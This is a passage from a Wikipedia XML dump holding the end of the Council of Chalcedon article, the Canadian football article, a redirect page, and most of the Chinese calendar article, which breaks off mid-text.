be demoted, only removed, #30 grants the [[Coptic Orthodox]] time to consider their rejection of Leo's ''Tome''.

==Consequences of the council==
The near-immediate result of the council was a major schism. The bishops that were uneasy with the language of Pope Leo's Tome repudiated the council, saying that the acceptance of two ''physes'' was tantamount to Nestorianism. This is the origin of [[Oriental Orthodoxy]], which still today rejects the results of this council.

Recent years have brought about a certain amount of dialogue between other Christians and the Oriental Orthodox. Some Oriental Orthodox bishops have indicated that the difference in doctrine was never more than a misunderstanding and have since reintegrated in the [[Catholic]] or [[Eastern Orthodox]] churches.  Formerly schismatic [[Eastern Rite]] denominations returning to communion with Rome since Chalcedon include elements of the Alexandrian, Syriac and Armenian churches.

==External links==
* [http://www.newadvent.org/cathen/03555a.htm Catholic Encyclopedia: Council of Chalcedon]
* [http://www.newadvent.org/cathen/05495a.htm Catholic Encyclopedia: Robber Council of Ephesus]
* [http://www.orthodoxwiki.org/Category:Coptic_interpretations_of_the_Fourth_Ecumenical_Council Coptic interpretations of the Fourth Ecumenical Council]


[[Category:patristics|Chalcedon]] [[Category:House of Theodosius]] [[Category:Ancient Roman Christianity]] [[Category:Oriental Orthodoxy]] [[Category:451]]
[[Category:Eastern Orthodox Church councils]]

[[ca:Concili de Calcedònia]]
[[cs:Chalkedonský koncil]]
[[de:Konzil von Chalcedon]]
[[es:Concilio de Calcedonia]]
[[fr:Concile de Chalcédoine]]
[[it:Concilio di Calcedonia]]
[[nl:Concilie van Chalcedon]]
[[ja:カルケドン公会議]]
[[no:Konsilet i Kalkedon]]
[[pl:Sobór chalcedoński]]
[[pt:Concílio de Calcedónia]]
[[ro:Conciliul de la Calcedon]]
[[ru:Халкидонский собор]]
[[zh:迦克墩公會議]]</text>
    </revision>
  </page>
  <page>
    <title>Canadian football</title>
    <id>6963</id>
    <revision>
      <id>42071978</id>
      <timestamp>2006-03-03T17:01:32Z</timestamp>
      <contributor>
        <username>RussBot</username>
        <id>279219</id>
      </contributor>
      <minor />
      <comment>Robot-assisted fix of link to disambiguation page Rugby ([[Wikipedia:Disambiguation_pages_with_links|you can help!]])</comment>
      <text xml:space="preserve">'''Canadian football''' is a sport in which two teams of twelve players each compete for territorial control of a field of play 110 [[yard]]s (100.6 [[metre|m]]) long and 65 yards (59.4 m) wide, with end zones 20 yards (18.3 m) deep. At each goal line is a set of forty-foot (12.2 m) high goalposts two ''uprights'' joined by a crossbar 18.5 feet (5.6 m) long which is ten feet (3.1 m) above the goal line. The goalposts may be either H-shaped (both posts fixed in the ground) or of the tuning-fork design (supported by a single curved post behind the goal line, so that each post starts ten feet (3.1 m) above the ground). The sides of the field are marked by white sidelines, the goal line is marked in white, and white lines are drawn laterally across the field every 5 yards (4.6 m) from the goal line.

It shares origins with, and is similar to (though distinct from) [[American football]].  
''For a discussion of differences between Canadian and American football see: [[Comparison of Canadian and American football]]''

==Play of the game==
Teams advance across the field through the execution of short, distinct plays, which involve the possession of a brown, ovoid ball with ends tapered to a point.  The ball has two one-inch-wide stripes.

===Kickoff===
Play begins with one team place-kicking the ball from its own 35-yard line.  Both teams then attempt to catch the ball.  The player who recovers the ball may run while holding the ball, or throw the ball to a teammate, so long as the throw is not forward.

===Stoppage of play===
Play stops when the ball carrier's knee or elbow is forced to the ground (a ''tackle''), when a touchdown (see below) is scored, a drop goal is scored, the ball leaves the playing area by any means (being carried, thrown, or fumbled out of bounds) or when the ball carrier is in a standing position but can no longer move. If no score has been made, the next play starts from ''scrimmage''.

===Scrimmage===
Before scrimmage, an official places the ball at the spot it became dead, but no nearer than 24 yards from the sideline or 1 yard from the goalline. The line parallel to the end zone passing through the ball is referred to as the line of scrimmage.  This line is a sort of &quot;no-man's land&quot;:  players must stay on their respective sides of this line until the play has begun again. For a scrimmage to be valid the team in possession of the football must have seven players, excluding the quarterback, within one yard of the line of scrimmage. The defending team, however, must stay a yard or more back from the line of scrimmage.

===Live play===
On the field at the beginning of a play are two teams of 12.  The team in possession of the ball is the offence and the team defending is referred to as the defence. Play begins with a backwards pass through the legs by a member of the offensive team, to the quarterback or punter. If the quarterback or punter receives the ball, he may then do any of the following:

* run with the ball, attempting to run further downfield (gaining yardage).  The ball-carrier may run in any direction he sees fit (including backwards).  
* ''drop-kick'' the ball, dropping it onto the ground and kicking it on the bounce. (This play is exceedingly rare in both Canadian and American football).
* pass the ball laterally or backwards to a teammate.   This play is known as a ''lateral'', and may come at any time on the play.  A pass which has any amount of forward momentum is a ''forward pass'' (see below); forward passes are subject to many restrictions which do not apply to laterals.
* ''hand-off''--hand the ball off to a teammate, typically a runningback or the fullback.  
* ''punt'' the ball; dropping it in the air and kicking it ''before'' it touches the ground.
* place the ball on the ground for a ''place kick''
* throw a ''forward pass'', where the ball is thrown to a receiver located further downfield (closer to the opponent's goal) than the thrower is.  Forward passes are subject to the following restrictions:
** They must be made from ''behind'' the line of scrimmage
** Only one forward pass may be made on a play
** The pass must be made in the direction of an eligile receiver.

Each play constitutes a ''down''. The offence must advance the ball at least ten yards towards the opponents' goal line within three downs or forfeit the ball to their opponents. Once ten yards have been gained the offence gains a new set of three downs.  It must be noted that they do not accumulate, so that if one completes 10 yards on their first play, they lose the other two downs, instead of being granted three on top of their remaining two. If a team fails to gain ten yards in two downs they usually punt the ball on third down or try to kick a [[field goal]] (see below), depending on their position on the field.

=== Change in possession ===

The ball changes possession in the following instances:

* If the offence scores; the defence has the right to claim possession (either by starting from scrimmage at their own 35 yard line, or by receiving a kickoff).  The defence may also elect to kick the ball to their opponents; teams with a strong placekicker and a stout defence may choose to do this to gain better field position for their own offence.  This also applies when the defence scores on a turnover which is returned for a touchdown--technically, they become the offence for the conclusion of the play, and the scored-upon team has the right to claim possession.  

* If the defence scores on a safety, they have the right to claim possession.

* If one team kicks the ball; the other team has the right to recover the ball and attempt a return.  If a kicked ball goes out of bounds, or the kicking team scores a single or field goal as a result of the kick, the other team likewise gets possession.

* If the offence fails to make ten yards in three plays, the defence ''takes over on downs''.

* If the offence attempts a forward pass and it is ''intercepted'' by the defence; the defence takes possession immediately (and may try and advance the ball on the play).  Note that incomplete forward passes (those which go out of bounds, or which touch the ground without being first cleanly caught by a player) result in the end of the play, and are not returnable by either team.

* If the offence ''fumbles'' (a ball-carrier drops the football, or has it dislodged by an opponent, or if the intended player fails to catch a lateral pass or a snap from center, or a kick attempt is blocked by an opponent), the ball may be recovered (and advanced) by either team.  If a fumbled ball goes out of bounds, the team whose player last touched it is awarded possession at the spot where it went out of bounds.  A fumble by the offence in their own end zone, which goes out of bounds, results in a safety.

* When the first half ends, the team which kicked to start the first half may receive a kickoff to start the second half.

===Rules of contact===
There are many rules to contact in football.  First, the only player on the field who may belegally tackled is the player currently in possession of the football (the ball carrier).  Second, a receiver, that is to say, an offensive player sent down the field to receive a pass, may not be interfered with (have his motion impeded, be blocked, etc). unless he is within one yard of the line of scrimmage (as opposed to 5 yards in American football).  Any player may block another player's passage, so long as he does not hold or trip the player he intends to block.  The kicker may not be contacted after the kick, and the quarterback, having already thrown the ball, may not be hit or tackled.

==== Infractions and penalties ====

Infractions of the rules are punished with ''penalties'', typically of 5, 10, or 15 yards.  Minor violations such as ''offside'' (a player from either side encroaching into scrimmage zone before the play starts) are penalized five yards, more serious penalties (such as holding) are penalized 10 yards, and severe violations of the rules are typically penalized 15 yards.  Depending on the penalty, the penalty yardage may be assessed from the original line of scrimmage, the spot the violation occurred, or the place the ball ended after the play.  Penalties on the offence may, or may not, result in a loss of down; penalties on the defence may result in a first down being automatically awarded to the offence.  For particularly severe conduct, the game official(s) may eject players (ejected players may be substituted for), or in exceptional cases, declare the game over and award victory to one side or the other.  Penalties do not affect the yard line which the offence must reach in order to reach first down (unless the penalty results in a first down being awarded); if a penalty against the defence results in the first down yardage being attained, then the offence is awarded a first down. 

Penalties may occur before a play starts (such as offsides), during the play (such as holding), or in a dead-ball situation (such as unsportsmanlike conduct).  

Penalties never result in a score for the offence (a penalty by the defence committed in their end zone is not ruled a touchdown); on rare occasions, penalties against the offence in their own end zone may result in a safety being scored by the defence.  If the penalty yardage, once assessed would move the ball into an end zone (or further than half the distance between the end zone and the spot the penalty is assessed from), a penalty of half-the-distance is assessed instead.  Note that in Canadian football (unlike American football), no scrimmage may start inside either one-yard line.

In most cases, the non-penalized team will have the option of ''declining'' the penalty; in which case the results of the previous play stand as if the penalty had not been called.  One notable exception to this rule is if the kicking team on a 3rd down punt play is penalized before the kick occurs; the receiving team may not decline the penalty and take over on downs.  (After the kick is made, change of possession occurs and subsequent penalties are assessed against either the spot where the ball is caught, or the runback).

===Positions===

====Offence====

The offensive positions found in [[Canadian football]]  (and American football) have, for the most part, evolved throughout the years, and are not officially defined in the rules.  However, among offensive players, the rules recognize three different types of players:

; Down linemen:  Down linemen are players who, at the start of every play, line up at the line of scrimmage; once in their stance they many not move until the play begins.  The offense must have at least seven players lined up at the line of scrimmage on every play.  The exception to this rule is the player (typically the ''centre'') who snaps the ball to the quarterback.  Linemen may not run with the ball (unless they recover it on a fumble) or receive a hand-off or lateral pass.  In addition, the centre and the two linemen on either side are '''ineligible receivers'''; they may not receive a forward pass either.  (Other players who line up at the line of scrimmage may receive forward passes).
; Backs:  Backs line up behind the linemen; they may run with the ball, receive handoffs, laterals, and forward passes.  They may also be in motion before the play starts.

Specific offensive positions include:

; Quarterback:  Generally the leader of the offense.  Calls all plays, receives the ball off of snap, and initiates the action usually by running the ball himself, passing the ball to a receiver, or handing the ball off to another back.  
; Fullback: Multiple roles including pass protection, receiving, and blocking for the running back. On short yardage situations may also carry the ball.
; Running back: As the name implies, the main runner on the team. Also a eligible receiver and blocker on pass plays.
; Wide receiver:  Lines up on the line of scrimmage, usually at a distance from the center.  Runs down the field in order to catch a forward pass from the quarterback.
; Slotback:  Same as the wide receiver, but starts five yards back off the line of scrimmage and stays closer to the offensive line.
; Centre:  Snaps the ball to the quarterback. Most important pass blocker on pass plays. Calls offensive-line plays.
; Left/right guard:  Stands to the left and right of the centre helps protect the quarterback, Usually very good run blockers to open holes up the middle for runners.
; Left/right tackle: Stands on the ends of the offensive line, The biggest men on the line, usually about 300 [[avoirdupois|pounds]] (140 kg). Usually very good pass blockers.
; Offensive lineman: Collective name for centre, guards, and tackles.

====Defence====

The rules do not constrain how the defense may arrange itself (other than the requirement that they must remain one yard behind the line of scrimmage until the play starts).

; Cornerback:  Covers the wide receivers on most plays. 
; Safety:  Covers deep. Last line of defence, can offer run support or blitz.
; Defensive halfback:  Covers the slotback and helps contain the run from going to the outside.
; Defensive back: Collective term for cornerback, safety, and defensive halfback.
; Nose tackle: Lineman across from centre, tries to get past the offensive-line or take double team and open holes for blitzes.
; Defensive tackle:  Inside defensive linemen try to break through the offensive line and open holes for linebackers.
; Defensive end: Main rushing lineman. Rushes the quarterback and contain
; Middle linebacker: Lines up across from the centre 3 to 4 yards back. Quarterback of the defence. Calls plays for lineman and linebackers.
; Weak-side linebacker: Lines up on the short side of field, and can drop into pass coverage or contain.
; Strong-side linebacker: Lines up on the opposite side and usually rushes.

====Special teams====

''Special teams'' generally refers to kicking plays, which typically involve a change in possession.  

; Holder:  Receives the snap on field goal tries and converts; places the ball in position and holds it to be kicked by the kicker.
; Kicker:  Kicks field goals, converts, kick-offs
; Punter: Punts ball, usually on third downs
; Returners:  Fast, agile runners who specialize in fielding punts and kickoffs, attempting to advance them for better field position or a score.

===Other kicks===
Canadian football distinguishes three ways of kicking the ball:

; Place kick : Kicking a ball held on the ground by a teammate, or, on a kickoff (resuming play following a score), placed on a tee.
; [[Drop kick]] : Kicking a ball after bouncing it on the ground.  Although rarely used today, it has the same status in scoring as a place kick.  This play is part of the game's [[Rugby football|rugby]] heritage, and was largely obsoleted when the ball with pointed ends was adapted.
; Punt : Kicking the ball after it has been released from the kicker's hand and before it hits the ground).  Punts may not score a field goal, even if one should travel through the uprights.

On punts and field goal attempts (but not kickoffs), members of the kicking team, other than the kicker and any teammates who are onside (behind the kicker at the time of the kick), may not approach within five yards of the ball until it has been touched by the receiving team.

===Scoring===
The methods of scoring are:

; Touchdown : Achieved when the ball is in possession of a player in the opponent's goal area, or when the ball in the possession of a player crosses or touches the plane of the opponent's goal-line, worth 6 points
; Conversion : A scrimmage play from any point between the hash marks on or outside the opponent's five yard line. Attempted after scoring a touchdown, either by kicking an extra point (worth one point), or by scoring with a carrying or passing play (worth two points). This is known as a ''convert'' or ''two-point conversion''.  If the defence manages to recover the ball on a turnover on a conversion attempt, and can return the ball to the offence's goal, then the defence scores two points.  
; Field goal : Scored by a drop kick or place kick (except on a kick-off) when the ball, after being kicked and without again touching the ground, goes over the cross bar and between the goal posts (or goal posts produced) of the opponent's goal (worth three points).
; Safety : Scored when the ball becomes dead in the possession of a team in its own goal area, or touches or crosses the dead-line or side-line-in-goal as a result of the ball having been carried, kicked, fumbled or otherwise directed from the field of play into the goal area by the team scored against, or as a direct result of a kick from scrimmage having been blocked in the field of play or goal area (worth two points).
; Single : Scored when the ball becomes dead in possession of a team in its own goal area or when the ball touches or crosses the deadline, or side-line-in-goal, and touches the ground, a player, or some object beyond these lines as a result of the ball having been kicked from the field of play into the goal area by the scoring team (worth one point).

At one time the single was called a ''rouge'' ([[French language|French]] for &quot;red&quot;); this term is still recognized in the official rulebook, but is otherwise obsolete. In early Canadian football rules the point was ''deducted'' from a team failing to advance the ball from the end zone. If a team had no points, this put them &quot;in the red&quot;, with a negative score.[http://www.answers.com/topic/canadian-football]

====Resumption of play====
Resumption of play following a score is conducted under procedures which vary with the type of score.

* Following a touchdown, play resumes with the scoring team kicking off from its own 35-yard line (45-yard line in amateur leagues).
* Following a field goal, the non-scoring team may choose for play to resume either with a kickoff as above, or by scrimmaging the ball from its own 35-yard line.
* Following a safety, the scoring team may choose for play to resume in either of the above ways, or it may choose to kick off from its own 35-yard line.
* Following a rouge, play resumes with the non-scoring team scrimmaging from its own 35-yard line.

===Game timing===
The game consists of two 30-minute halves, each of which is divided into two 15-minute quarters. The clock counts down from 15:00 in each quarter. Timing rules change when there are three minutes remaining in a half.
A short break interval occurs after the end of each quarter (a longer break at halftime), and the two teams then change goals.

In the first 27 minutes of a half, the clock stops when:
* points are scored, 
* the ball goes out of bounds,
* a forward pass is incomplete,
* the ball is dead and a penalty flag has been thrown,
* the ball is dead and teams are making substitutions (e.g., possession has changed, punting situation, short yardage situation),
* the ball is dead and a player is injured, or
* the ball is dead and a captain calls a [[time-out]].

The clock starts again when the referee determines the ball is ready for scrimmage, except for team time-outs (where the clock starts at the snap) and kickoffs (where the clock starts not at the kick but when the ball is first touched after the kick).

In the last three minutes of a half, the clock stops whenever the ball becomes dead. On kickoffs, the clock starts when the ball is first touched after the kick. On scrimmages, when it starts depends on what ended the previous play. The clock starts when the ball is ready for scrimmage except that it starts on the snap when on the previous play
* the ball was kicked off,
* the ball was punted,
* the ball changed possession,
* the ball went out of bounds,
* there were points scored,
* there was an incomplete forward pass,
* there was a penalty applied (not declined), or
* there was a team time-out.

The clock does not run during convert attempts in the last three minutes of a half. If the 15 minutes of a quarter expire while the ball is live, the quarter is extended until the ball becomes dead. If a quarter's time expires while the ball is dead, the quarter is extended for one more scrimmage. A quarter cannot end while a penalty is pending: after the penalty yardage is applied, the quarter is extended one scrimmage.  Note  that the non-penalized team has the option to ''decline'' any penalty it considers disadvantageous, so a losing team cannot indefinitely prolong a game by repeatedly committing penalties.

==League play==
Canadian football is played at several levels in Canada. The professional league in which the sport is played is the nine-team [[Canadian Football League]] (CFL), and its champion is awarded the [[Grey Cup]], the oldest trophy in professional football. Amateur football is governed by [[Football Canada]]. At the university level, 27 teams play in four conferences under the auspices of [[Canadian Interuniversity Sport]]; the CIS champion is awarded the [[Vanier Cup]]. Junior football is played by many after high school before joining the university ranks.  There are 18 junior teams in 3 divisions competing for the Canadian Bowl.

[[Semi-professional]] leagues have grown in popularity in recent years, with the [[Alberta Football League]] becoming especially popular.  The [[Canadian Major Football League]] is the governing body for the semi-professional game.

==History==
Canadian football was originally called [[rugby football]], and is a descendant of [[rugby union]] football as played in the [[1860s]] and [[1870s]] by the [[Montreal Football Club]] and at [[McGill University]]. It is from this varsity play that the game now known as [[American Football]] entered the United States, as McGill challenged [[Harvard University]] to play. 

The Canadian Football League was known under various names throughout its history including the [[Canadian Rugby Football Union]], and the [[Canadian Rugby Union]]. The Canadian Rugby Football Union, original forerunner to the current Canadian Football League was established in 1884.

As the rules of [[American football]] are very similar to Canadian football, the CFL has maintained a close relationship with its American counterpart, the [[National Football League]] (NFL).

The CFL regular season begins in [[June]], and play-offs are be completed by mid-[[November]]. In cities with outdoor stadiums such as [[Calgary, Alberta|Calgary]], [[Edmonton, Alberta|Edmonton]], [[Winnipeg, Manitoba|Winnipeg]], [[Montreal, Quebec|Montreal]], [[Hamilton, Ontario|Hamilton]] and [[Regina, Saskatchewan|Regina]], low-temperatures and icy field conditions can seriously affect the outcome of a game.

==See also==
*[[Glossary of Canadian football]]
*[[Canadian Football League]]
*[[Comparison of Canadian and American football]]
*[[American football]]
*[[Football]]
**[[Rugby football]]
*[[Fantasy Football]]
*[[Flag football]]

==External links==
*[http://www.cfl.ca/index.php?module=ContentExpress&amp;func=display&amp;ceid=2 CFL Rulebook]
*[http://www.footballhof.com/ Canadian Football Hall of Fame] in [[Hamilton, Ontario]]

[[Category:Canadian football| ]]

[[de:Canadian Football]]
[[eo:Kanada piedpilko]]
[[fr:Football canadien]]
[[it:Football canadese]]
[[ja:カナディアンフットボール]]
[[nl:Canadian football]]</text>
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  </page>
  <page>
    <title>Court Jester</title>
    <id>6965</id>
    <revision>
      <id>15905072</id>
      <timestamp>2002-10-09T08:33:41Z</timestamp>
      <contributor>
        <username>Brion VIBBER</username>
        <id>51</id>
      </contributor>
      <comment>redirect -&gt; Court jester</comment>
      <text xml:space="preserve">#REDIRECT [[Court jester]]</text>
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  </page>
  <page>
    <title>Chinese calendar</title>
    <id>6966</id>
    <revision>
      <id>41270908</id>
      <timestamp>2006-02-26T05:04:01Z</timestamp>
      <contributor>
        <username>Bloodshedder</username>
        <id>20963</id>
      </contributor>
      <minor />
      <comment>main template</comment>
      <text xml:space="preserve">The '''Chinese calendar''' is a [[lunisolar calendar]] incorporating elements of a [[lunar calendar]] with those of a [[solar calendar]].  In China today, the [[Gregorian Calendar]] is used for most day to day activities, but the Chinese calendar is still used for marking traditional holidays such as [[Chinese New Year]] (Spring Festival), [[Duan Wu festival]] and the [[Mid-Autumn Festival]], and in astrology, such as choosing the most auspicious date for a wedding or the opening of a building.  Because each month follows one cycle of the moon, it is also used to determine the phases of the moon.

Other traditional [[East Asia]]n calendars are similar to if not identical to the Chinese calendar: the [[Korean calendar]] is identical; the [[Vietnamese calendar]] substitutes the cat for the rabbit in the [[#Twelve animals|Chinese zodiac]]; the [[Tibetan calendar]] differs slightly in animal names, and the traditional [[Japanese calendar]] uses a different method of calculation, resulting in disagreements between the calendars in some years. Elements of the Chinese (or Sino-Uighur) calendar were introduced to the Islamic world following the Mongol invasions. The twelve year cycle, including Turkish/Mongolian translations of the animal names (known as ''sanawat-e turki'' سنوات ترکی,) remained in use for chronology, historiography, and bureaucratic purposes in the Persian and Turkish speaking world from Asia Minor to India throughout the Medieval and Early Modern periods. In Iran it remained common in agricultural records and tax assessments until a 1925
law (''see [[Iranian calendar]]'') deprecated its use.

In [[China]], the traditional calendar is known as the &quot;agricultural calendar&quot; (&amp;#36786;&amp;#26310; nónglì), while the Gregorian calendar is known as the &quot;standard calendar&quot; (&amp;#20844;&amp;#26310; g&amp;#333;nglì), or &quot;Western calendar&quot; (&amp;#35199;&amp;#26310; x&amp;#299;lì).  The Chinese calendar was also called the &quot;old calendar&quot; (&amp;#33290;&amp;#26310;) after the &quot;new calendar&quot; (&amp;#26032;&amp;#26310;), i.e. the [[Gregorian calendar]], was adopted as the official calendar.

==History==
===Legendary beginnings===
According to legend, the Chinese calendar developed during the [[third millennium BCE]]. It is said to have been invented by the first legendary ruler, Huang Di or the [[Yellow Emperor]], who reigned, by tradition, c.2698-2599 BCE. The fourth legendary ruler, [[Emperor Yao]], added the [[intercalary]] month. The 60-year &quot;stem-branch&quot; (干支 gānzhī) cycle (see &quot;[[#Calendar rules|Calendar rules]]&quot; below) was first used to mark years during the [[first century BCE]]. Tradition fixes the first year of the first cycle (the [[epoch (reference date)|epoch]]) at 2637 BCE (see Herbert A. Giles, ''A Chinese-English Dictionary'' (1912), and other Western authors writing in the late [[Qing dynasty]]). Thus the cycle beginning in 1984 is the 78th. Other opinions fix the first year at 2697 BCE (while Huangdi was still immature), by which count we are now in cycle 79.   (See the section on [[#Continuously-numbered years|Continuously-numbered years]] and the table below for more information about
these correspondences.)

===Early history===
The earliest archaeological evidence of the Chinese calendar appears on [[Oracle bone|oracle bones]] of the late [[second millennium BCE]] [[Shang dynasty]]. They show a 12-month lunisolar year having an occasional thirteenth month, and even a fourteenth month. Adding extra months to a calendar year is known as [[intercalation]], and keeps the new year from drifting backwards through the seasons, just as the Gregorian calendar puts an extra day in February every four years.

Historical dates have been exactly determinable since [[840s BC|841 BCE]], the early [[Zhou dynasty]]. It is known that in this period the calendar used arbitrary intercalations. The first month of its year was near the [[winter solstice]] and the intercalary month was after the twelfth month. The ''sìfēn'' 四分 (quarter remainder) calendar, which began about [[484 BCE]], was the first calculated Chinese calendar, so named because it used a solar year of 365&amp;#188; days, along with a 19-year (235-month) Rule Cycle, known in the West as the [[Metonic cycle]]. The winter solstice was in its first month and its intercalary month was inserted after the twelfth month. Beginning in [[256 BCE]], it was first used by the Qin state, then the whole country after the Qin took over the whole country and became the [[Qin dynasty]]. In this calendar, the intercalary month was an extra ninth month at the end of a year that began with the tenth month, now placing the winter solstice in the eleventh
month. This calendar continued to be used during the first half of the Western Han Dynasty.

===The Taichuli calendar===
The [[Emperor Wu of Han China|Emperor Wu]] of the Western [[Han dynasty]] introduced reforms that have governed the Chinese calendar ever since. His [[Taichuli calendar|Tàich&amp;#363;]] &amp;#x592A;&amp;#x521D; (Grand Inception) calendar of [[104 BCE]] had a year with the [[winter solstice]] in the eleventh month and designated as intercalary any calendar month (a month of 29 or 30 whole days) during which the sun does not pass a principal term (that is, remained within the same sign of the [[zodiac]] throughout). Because the sun's mean motion was used to calculate the [[#Jieqi|jiéqì]] (節氣/节气) (or seasonal markings) until 1645, this intercalary month was equally likely to occur after any month of the year. The conjunction of the sun and moon (the astronomical new moon) was calculated using the mean motions of both the sun and moon until 619, the second year of the [[Tang dynasty]], when chronologists began to use true motions modeled using two offset opposing [[parabola]]s
(with small linear and cubic components). Unfortunately, the parabolas did not meet smoothly at the mean motion, but met with a discontinuity or jump.

===The true sun and moon===
With the introduction of Western astronomy into China via the [[Society of Jesus|Jesuits]], the motions of both the sun and moon began to be calculated with [[trigonometric function|sinusoids]] in the 1645 Shíxiàn calendar (時憲書, Book of the Conformity of Time) of the [[Qing dynasty]], made by the Jesuit [[Johann Adam Schall von Bell|Adam Schall]]. The true motion of the sun was now used to calculate the [[#Jieqi|jiéqì]], which caused the intercalary month to often occur after the second through the ninth months, but rarely after the tenth through first months. A few autumn-winter periods have one or two calendar months where the sun enters two signs of the zodiac, interspersed with two or three calendar months where the sun stays within one sign.

===The Gregorian Reform and the 1929 time change===
The [[Gregorian calendar]] was adopted by the nascent [[Republic of China]] effective [[January 1]], [[1912]] for official business, but the general populace continued to use the traditional calendar. The status of the Gregorian calendar was unclear between 1916 and 1921 while China was controlled by several competing [[warlord]]s. From about 1921 until 1928 warlords continued to fight over northern China, but the [[Kuomintang]] or Nationalist government controlled southern China and used the Gregorian calendar. After the Kuomintang reconstituted the Republic of China [[October 10]], [[1928]], the Gregorian calendar was officially adopted, effective [[1 January]], [[1929]]. Along with this, the time zone for the whole country was adjusted to the coastal time zone that had been used in European [[treaty ports]] along the Chinese coast since 1904. This changed the beginning of each calendar day, for both the traditional and Gregorian calendars, by plus 14 minutes and 26 seconds from [[Beijing]] [[midnight]] to
midnight at the [[longitude]] 120° east of [[Greenwich]]. 

This caused some discrepancies, such as with the 1978 [[Mid-Autumn Festival]]. There was a new moon on [[September 3]], 1978, at 00:07, [[Chinese Standard Time]][http://sunearth.gsfc.nasa.gov/eclipse/phase/phases1901.html]. Using the old Beijing timezone, the New Moon occurred at 23:53 on the 2nd, so the eighth month began on a different day in the calendars. Thus people in [[Hong Kong]] (using the traditional calendar) celebrated the Festival on [[16 September]], but those in China celebrated on [[17 September]]. [http://www.math.nus.edu.sg/aslaksen/calendar/cal.pdf] (see page 18)

==Calendar rules==
The following rules outline the Chinese calendar since c.104 BCE. Note that the rules allow either mean or true motions of the Sun and Moon to be used, depending on the historical period.

# The months are lunar months. This means the first day of each month beginning at ''midnight'' is the day of the astronomical [[new moon]]. (Note, however, that a &quot;day&quot; in the Chinese calendar begins at 11 p.m. and not at midnight)
# Each year has 12 regular months, which are numbered in sequence (1 to 12) and have alternative names. Every second or third year has an [[intercalary month]] (&amp;#38287;&amp;#26376; rùnyuè), which may come after any regular month. It has the same number as the preceding regular month, but is designated intercalary.
# Every other [[#Solar term|jiéqì]] of the Chinese solar year is equivalent to an entry of the sun into a sign of the tropical zodiac (a principal term or cusp).
# The sun always passes the [[winter solstice]] (enters Capricorn) during month 11.
# If there are 12 months between two successive occurrences of month 11, at least one of these 12 months must be a month during which the sun remains within the same zodiac sign throughout (no principal term or cusp occurs within it). If only one such month occurs, it is designated intercalary, but if two such months occur, only the first is designated intercalary.
# The times of the astronomical new moons and the sun entering a zodiac sign are determined in the Chinese Time Zone by the [[Purple Mountain Observatory]] (&amp;#32043;&amp;#37329;&amp;#23665;&amp;#22825;&amp;#25991;&amp;#21488; Z&amp;#464;j&amp;#299;nsh&amp;#257;n Ti&amp;#257;nwéntái) outside [[Nanjing]] using modern astronomical equations. 

The zodiac sign which the sun enters during the month and the ecliptic longitude of that entry point usually determine the number of a regular month. Month 1, zh&amp;#275;ngyuè, literally means principal month. All other months are literally numbered, second month, third month, etc.

{| class=&quot;wikitable&quot;
|-
! #
! Chinese name
! Long.
! Zodiac sign
|-
| align=&quot;right&quot; | '''11'''
| &amp;#x5341;&amp;#x4E00;&amp;#x6708; shíy&amp;#299;yuè
| align=&quot;right&quot; | 270°
| [[Capricorn]]
|-
| align=&quot;right&quot; | '''12'''
| &amp;#x5341;&amp;#x4E8C;&amp;#x6708; shí'èryuè
| align=&quot;right&quot; | 300°
| [[Aquarius]]
|-
| align=&quot;right&quot; | '''1'''
| &amp;#x6B63;&amp;#x6708; zh&amp;#275;ngyuè
| align=&quot;right&quot; | 330°
| [[Pisces]]
|-
| align=&quot;right&quot; | '''2'''
| &amp;#x4E8C;&amp;#x6708; èryuè
| align=&quot;right&quot; | 0°
| [[Aries]]
|-
| align=&quot;right&quot; | '''3'''
| &amp;#x4E09;&amp;#x6708; s&amp;#257;nyuè
| align=&quot;right&quot; | 30°
| [[Taurus (constellation)|Taurus]]
|-
| align=&quot;right&quot; | '''4'''
| &amp;#x56DB;&amp;#x6708; sìyuè
| align=&quot;right&quot; | 60°
| [[Gemini]]
|-
| align=&quot;right&quot; | '''5'''
| &amp;#x4E94;&amp;#x6708; w&amp;#468;yuè
| align=&quot;right&quot; | 90°
| [[Cancer (constellation)|Cancer]]
|-
| align=&quot;right&quot; | '''6'''
| &amp;#x516D;&amp;#x6708; liùyuè
| align=&quot;right&quot; | 120°
| [[Leo]]
|-
| align=&quot;right&quot; | '''7'''
| &amp;#x4E03;&amp;#x6708; q&amp;#299;yuè
| align=&quot;right&quot; | 150°
| [[Virgo]]
|-
| align=&quot;right&quot; | '''8'''
| &amp;#x516B;&amp;#x6708; b&amp;#257;yuè
| align=&quot;right&quot; | 180°
| [[Libra]]
|-
| align=&quot;right&quot; | '''9'''
| &amp;#x4E5D;&amp;#x6708; ji&amp;#468;yuè
| align=&quot;right&quot; | 210°
| [[Scorpius|Scorpio]]
|-
| align=&quot;right&quot; | '''10'''
| &amp;#x5341;&amp;#x6708; shíyuè
| align=&quot;right&quot; | 240°
| [[Sagittarius]]
|}

Some believe the above correspondence to be always true, but there are exceptions, which, for example, prevent [[Chinese New Year]] from always being the second new moon after the winter solstice, or that cause the holiday to occur after the ''Rain Water'' jieqi. An exception will occur in 2033-2034, when the winter solstice is the second solar term in the eleventh month. The next month is a no-entry month and so is intercalary, and a twelfth month follows which contains both the Aquarius and Pisces solar terms (''deep cold'' and ''rain water''). The Year of the Tiger thus begins on the third new moon following the Winter Solstice, and also occurs after the Pisces (''rain water'') jieqi, on [[February 19]]. 

Another occurrence was in 1984-85, after the sun had entered both Capricorn at 270° and Aquarius at 300° in month 11, and then entered Pisces at 330° during the next month, which should have caused it to be month 1. The sun did not enter any sign during the next month. In order to keep the winter solstice in month 11, the month which should have been month 1 became month 12, and the month thereafter became month 1, causing Chinese New Year to occur on [[20 February]] [[1985]] after the sun had already passed into Pisces at 330° during the previous month, rather than during the month beginning on that day. 

On those occasions when a dual-entry month does occur, it always occurs somewhere between two months that do not have any entry (non-entry months). It usually occurs alone and either includes the winter solstice or is nearby, thus placing the winter solstice in month 11 (rule 4) chooses which of the two non-entry months becomes the intercalary month. In 1984-85, the month immediately before the dual-entry month 11 was a non-entry month which was designated as an intercalary month 10. All months from the dual-entry month to the non-entry month that is not to be intercalary are sequentially numbered with the nearby regular months (rule 2). The last phrase of rule 5, choosing the first of two non-entry months between months 11, has not been required since the last calendar reform, and will not be necessary until the 2033-34 occasion, when two dual-entry months will be interspersed among three non-entry months, two of which will be on one side of month 11. The leap eleventh month produced is a very rare
occasion.
See [http://www.chinesecalendar.net/] for details.

